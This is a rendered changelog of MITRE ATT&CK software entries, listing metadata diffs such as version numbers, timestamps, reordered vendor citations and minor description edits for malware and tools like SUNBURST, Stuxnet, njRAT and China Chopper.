| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 18:03:42.421000+00:00 | 2022-04-06 19:52:50.199000+00:00 |
| external_references[2]['source_name'] | Riskiq Remcos Jan 2018 | Fortinet Remcos Feb 2017 |
| external_references[2]['description'] | Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018. | Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018. |
| external_references[2]['url'] | https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/ | https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html |
| external_references[4]['source_name'] | Fortinet Remcos Feb 2017 | Riskiq Remcos Jan 2018 |
| external_references[4]['description'] | Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018. | Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018. |
| external_references[4]['url'] | https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html | https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/ |
| x_mitre_version | 1.1 | 1.2 |
[S0174] Responder
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | ['Responder'] | |
| x_mitre_platforms | ['Windows'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2022-04-06 14:42:53.334000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[S0446] Ryuk
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-18 19:31:22.741000+00:00 | 2022-03-26 13:13:19.978000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
[S0559] SUNBURST
Current version: 2.2
Version changed from: 2.1 → 2.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 15:01:16.538000+00:00 | 2022-04-19 01:53:52.241000+00:00 |
| external_references[3]['source_name'] | SolarWinds Sunburst Sunspot Update January 2021 | FireEye SUNBURST Backdoor December 2020 |
| external_references[3]['description'] | Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021. | FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021. |
| external_references[3]['url'] | https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/ | https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html |
| external_references[5]['source_name'] | FireEye SUNBURST Backdoor December 2020 | SolarWinds Sunburst Sunspot Update January 2021 |
| external_references[5]['description'] | FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021. | Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021. |
| external_references[5]['url'] | https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html | https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/ |
| x_mitre_version | 2.1 | 2.2 |
[S0615] SombRAT
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 23:39:53.415000+00:00 | 2021-11-19 23:35:06.266000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[S0603] Stuxnet
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-12 21:50:58.905000+00:00 | 2022-04-19 01:44:44.149000+00:00 |
| external_references[2]['source_name'] | Symantec W.32 Stuxnet Dossier | CISA ICS Advisory ICSA-10-272-01 |
| external_references[2]['description'] | Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020. | CISA. (2010, September 10). ICS Advisory (ICSA-10-272-01). Retrieved December 7, 2020. |
| external_references[2]['url'] | https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf | https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01 |
| external_references[3]['source_name'] | CISA ICS Advisory ICSA-10-272-01 | ESET Stuxnet Under the Microscope |
| external_references[3]['description'] | CISA. (2010, September 10). ICS Advisory (ICSA-10-272-01). Retrieved December 7, 2020. | Matrosov, A., Rodionov, E., Harley, D., Malcho, J.. (n.d.). Stuxnet Under the Microscope. Retrieved December 7, 2020. |
| external_references[3]['url'] | https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01 | https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf |
| external_references[4]['source_name'] | ESET Stuxnet Under the Microscope | Symantec W.32 Stuxnet Dossier |
| external_references[4]['description'] | Matrosov, A., Rodionov, E., Harley, D., Malcho, J.. (n.d.). Stuxnet Under the Microscope. Retrieved December 7, 2020. | Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020. |
| external_references[4]['url'] | https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf | https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf |
| x_mitre_version | 1.0 | 1.1 |
[S0595] ThiefQuest
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-05 01:47:00.880000+00:00 | 2022-04-16 15:01:37.957000+00:00 |
| external_references[2]['source_name'] | MacRansom.K | EvilQuest |
| external_references[2]['description'] | (Citation: SentinelOne EvilQuest Ransomware Spyware 2020) | (Citation: Reed thiefquest fake ransom) |
| external_references[3]['source_name'] | EvilQuest | MacRansom.K |
| external_references[3]['description'] | (Citation: Reed thiefquest fake ransom) | (Citation: SentinelOne EvilQuest Ransomware Spyware 2020) |
| external_references[4]['source_name'] | Reed thiefquest fake ransom | wardle evilquest partii |
| external_references[4]['description'] | Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 18, 2021. | Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021. |
| external_references[4]['url'] | https://blog.malwarebytes.com/detections/osx-thiefquest/ | https://objective-see.com/blog/blog_0x60.html |
| external_references[5]['source_name'] | wardle evilquest partii | SentinelOne EvilQuest Ransomware Spyware 2020 |
| external_references[5]['description'] | Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021. | Phil Stokes. (2020, July 8). “EvilQuest” Rolls Ransomware, Spyware & Data Theft Into One. Retrieved April 1, 2021. |
| external_references[5]['url'] | https://objective-see.com/blog/blog_0x60.html | https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/ |
| external_references[6]['source_name'] | reed thiefquest ransomware analysis | Reed thiefquest fake ransom |
| external_references[6]['description'] | Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021. | Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 18, 2021. |
| external_references[6]['url'] | https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/ | https://blog.malwarebytes.com/detections/osx-thiefquest/ |
| external_references[7]['source_name'] | SentinelOne EvilQuest Ransomware Spyware 2020 | reed thiefquest ransomware analysis |
| external_references[7]['description'] | Phil Stokes. (2020, July 8). “EvilQuest” Rolls Ransomware, Spyware & Data Theft Into One. Retrieved April 1, 2021. | Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021. |
| external_references[7]['url'] | https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/ | https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/ |
| x_mitre_version | 1.1 | 1.2 |
[S0136] USBStealer
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | [USBStealer](https://attack.mitre.org/software/S0136) is mal | t | [USBStealer](https://attack.mitre.org/software/S0136) is mal |
| ware that has used by [APT28](https://attack.mitre.org/group | | ware that has been used by [APT28](https://attack.mitre.org/ |
| s/G0007) since at least 2005 to extract information from air | | groups/G0007) since at least 2005 to extract information fro |
| -gapped networks. It does not have the capability to communi | | m air-gapped networks. It does not have the capability to co |
| cate over the Internet and has been used in conjunction with | | mmunicate over the Internet and has been used in conjunction |
| [ADVSTORESHELL](https://attack.mitre.org/software/S0045). ( | | with [ADVSTORESHELL](https://attack.mitre.org/software/S004 |
| Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky | | 5). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspe |
| Sofacy) | | rsky Sofacy) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-18 16:11:07.955000+00:00 | 2022-04-19 22:53:27.639000+00:00 |
| description | [USBStealer](https://attack.mitre.org/software/S0136) is malware that has used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy) | [USBStealer](https://attack.mitre.org/software/S0136) is malware that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy) |
| x_mitre_version | 1.1 | 1.2 |
[S0579] Waterbear
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-24 20:33:05.198000+00:00 | 2022-03-25 16:46:35.932000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[S0658] XCSSET
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-19 00:43:30.036000+00:00 | 2022-04-20 21:03:39.123000+00:00 |
| external_references[1]['source_name'] | XCSSET | OSX.DubRobber |
| external_references[1]['description'] | (Citation: trendmicro xcsset xcode project 2020) | (Citation: malwarebyteslabs xcsset dubrobber) |
| external_references[2]['source_name'] | OSX.DubRobber | XCSSET |
| external_references[2]['description'] | (Citation: malwarebyteslabs xcsset dubrobber) | (Citation: trendmicro xcsset xcode project 2020) |
| x_mitre_version | 1.0 | 1.1 |
[S0412] ZxShell
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | [ZxShell](https://attack.mitre.org/software/S0412) is a remo | t | [ZxShell](https://attack.mitre.org/software/S0412) is a remo |
| te administration tool and backdoor that can be downloaded f | | te administration tool and backdoor that can be downloaded f |
| rom the Internet, particularly from Chinese hacker websites. | | rom the Internet, particularly from Chinese hacker websites. |
| It has been used since at least 2004.(Citation: FireEye APT | | It has been used since at least 2004.(Citation: FireEye APT |
| 41 Aug 2019)(Citation: Talos ZxShell Oct 2014 ) | | 41 Aug 2019)(Citation: Talos ZxShell Oct 2014) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 18:32:58.702000+00:00 | 2022-04-15 15:01:42.835000+00:00 |
| description | [ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014 ) | [ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014) |
| external_references[1]['description'] | (Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014 ) | (Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014) |
| external_references[2]['description'] | (Citation: Talos ZxShell Oct 2014 ) | (Citation: Talos ZxShell Oct 2014) |
| external_references[3]['source_name'] | FireEye APT41 Aug 2019 | Talos ZxShell Oct 2014 |
| external_references[3]['description'] | Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019. | Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019. |
| external_references[3]['url'] | https://content.fireeye.com/apt-41/rpt-apt41 | https://blogs.cisco.com/security/talos/opening-zxshell |
| external_references[4]['source_name'] | Talos ZxShell Oct 2014 | FireEye APT41 Aug 2019 |
| external_references[4]['description'] | Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019. | Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019. |
| external_references[4]['url'] | https://blogs.cisco.com/security/talos/opening-zxshell | https://content.fireeye.com/apt-41/rpt-apt41 |
| x_mitre_version | 1.1 | 1.2 |
[S0110] at
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | [at](https://attack.mitre.org/software/S0110) is used to sch | t | [at](https://attack.mitre.org/software/S0110) is used to sch |
| edule tasks on a system to run at a specified date or time. | | edule tasks on a system to run at a specified date or time.( |
| (Citation: TechNet At) | | Citation: TechNet At)(Citation: Linux at) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 18:34:22.227000+00:00 | 2022-04-20 20:02:41.550000+00:00 |
| description | [at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At) | [at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time.(Citation: TechNet At)(Citation: Linux at) |
| external_references[1]['source_name'] | TechNet At | Linux at |
| external_references[1]['description'] | Microsoft. (n.d.). At. Retrieved April 28, 2016. | IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved February 25, 2022. |
| external_references[1]['url'] | https://technet.microsoft.com/en-us/library/bb490866.aspx | https://man7.org/linux/man-pages/man1/at.1p.html |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'TechNet At', 'description': 'Microsoft. (n.d.). At. Retrieved April 28, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/bb490866.aspx'} |
[S0385] njRAT
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/ | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-14 22:25:02.713000+00:00 | 2022-04-06 19:50:59.368000+00:00 |
| external_references[1]['source_name'] | Njw0rm | LV |
| external_references[1]['description'] | Some sources have discussed Njw0rm as a later variant of njRAT, where Njw0rm adds the ability to spread via removable devices such as USB drives.(Citation: FireEye Njw0rm Aug 2013) Other sources contain that functionality in their description of njRAT itself.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018) | (Citation: Fidelis njRAT June 2013) |
| external_references[2]['source_name'] | LV | Bladabindi |
| external_references[2]['description'] | (Citation: Fidelis njRAT June 2013) | (Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018) |
| external_references[3]['source_name'] | Bladabindi | FireEye Njw0rm Aug 2013 |
| external_references[3]['description'] | (Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018) | Dawda, U. and Villeneuve, N. (2013, August 30). Njw0rm - Brother From the Same Mother. Retrieved June 4, 2019. |
| external_references[5]['source_name'] | FireEye Njw0rm Aug 2013 | Trend Micro njRAT 2018 |
| external_references[5]['description'] | Dawda, U. and Villeneuve, N. (2013, August 30). Njw0rm - Brother From the Same Mother. Retrieved June 4, 2019. | Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019. |
| external_references[5]['url'] | https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html | https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/ |
| external_references[6]['source_name'] | Trend Micro njRAT 2018 | Njw0rm |
| external_references[6]['description'] | Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019. | Some sources have discussed Njw0rm as a later variant of [njRAT](https://attack.mitre.org/software/S0385), where Njw0rm adds the ability to spread via removable devices such as USB drives.(Citation: FireEye Njw0rm Aug 2013) Other sources contain that functionality in their description of [njRAT](https://attack.mitre.org/software/S0385) itself.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018) |
| x_mitre_version | 1.2 | 1.3 |
[S0103] route
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | ['route', 'route.exe'] | |
| x_mitre_platforms | ['Linux', 'Windows', 'macOS'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2022-04-06 15:27:00.668000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[S0111] schtasks
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-31 12:42:36.620000+00:00 | 2022-04-20 20:04:22.896000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Patches
[S0504] Anchor
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-05 17:54:53.991000+00:00 | 2021-12-15 20:56:24.628000+00:00 |
[S0635] BoomBox
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-16 01:33:59.932000+00:00 | 2022-01-18 18:10:37.673000+00:00 |
[S0482] Bundlore
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-16 20:26:31.452000+00:00 | 2022-02-10 15:37:37.795000+00:00 |
[S0020] China Chopper
Current version: 2.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 14:30:11.979000+00:00 | 2022-04-15 15:15:51.199000+00:00 |
| external_references[2]['source_name'] | Lee 2013 | CISA AA21-200A APT40 July 2021 |
| external_references[2]['description'] | Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015. | CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021. |
| external_references[2]['url'] | https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html | https://us-cert.cisa.gov/ncas/alerts/aa21-200a |
| external_references[5]['source_name'] | CISA AA21-200A APT40 July 2021 | Lee 2013 |
| external_references[5]['description'] | CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department.. Retrieved August 12, 2021. | Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015. |
| external_references[5]['url'] | https://us-cert.cisa.gov/ncas/alerts/aa21-200a | https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html |
[S0568] EVILNUM
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-27 18:17:43.966000+00:00 | 2022-01-19 18:23:52.922000+00:00 |
| external_references[3]['description'] | Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021. | Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021. |
| external_references[3]['url'] | https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html | https://www.prevailion.com/phantom-in-the-command-shell-2/ |
[S0604] Industroyer
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-13 19:33:41.189000+00:00 | 2022-04-14 19:56:46.309000+00:00 |
[S0449] Maze
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-18 23:46:05.071000+00:00 | 2022-01-24 17:01:08.605000+00:00 |
[S0084] Mis-Type
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-20 18:16:03.001000+00:00 | 2022-01-19 21:19:03.367000+00:00 |
| external_references[1]['description'] | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. |
| external_references[1]['url'] | https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf | https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf |
[S0083] Misdat
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-20 18:16:26.920000+00:00 | 2022-01-19 21:19:03.598000+00:00 |
| external_references[1]['description'] | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. |
| external_references[1]['url'] | https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf | https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf |
[S0118] Nidiran
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-18 15:21:51.702000+00:00 | 2022-04-15 16:27:20.897000+00:00 |
| external_references[1]['description'] | DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016. | DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016. |
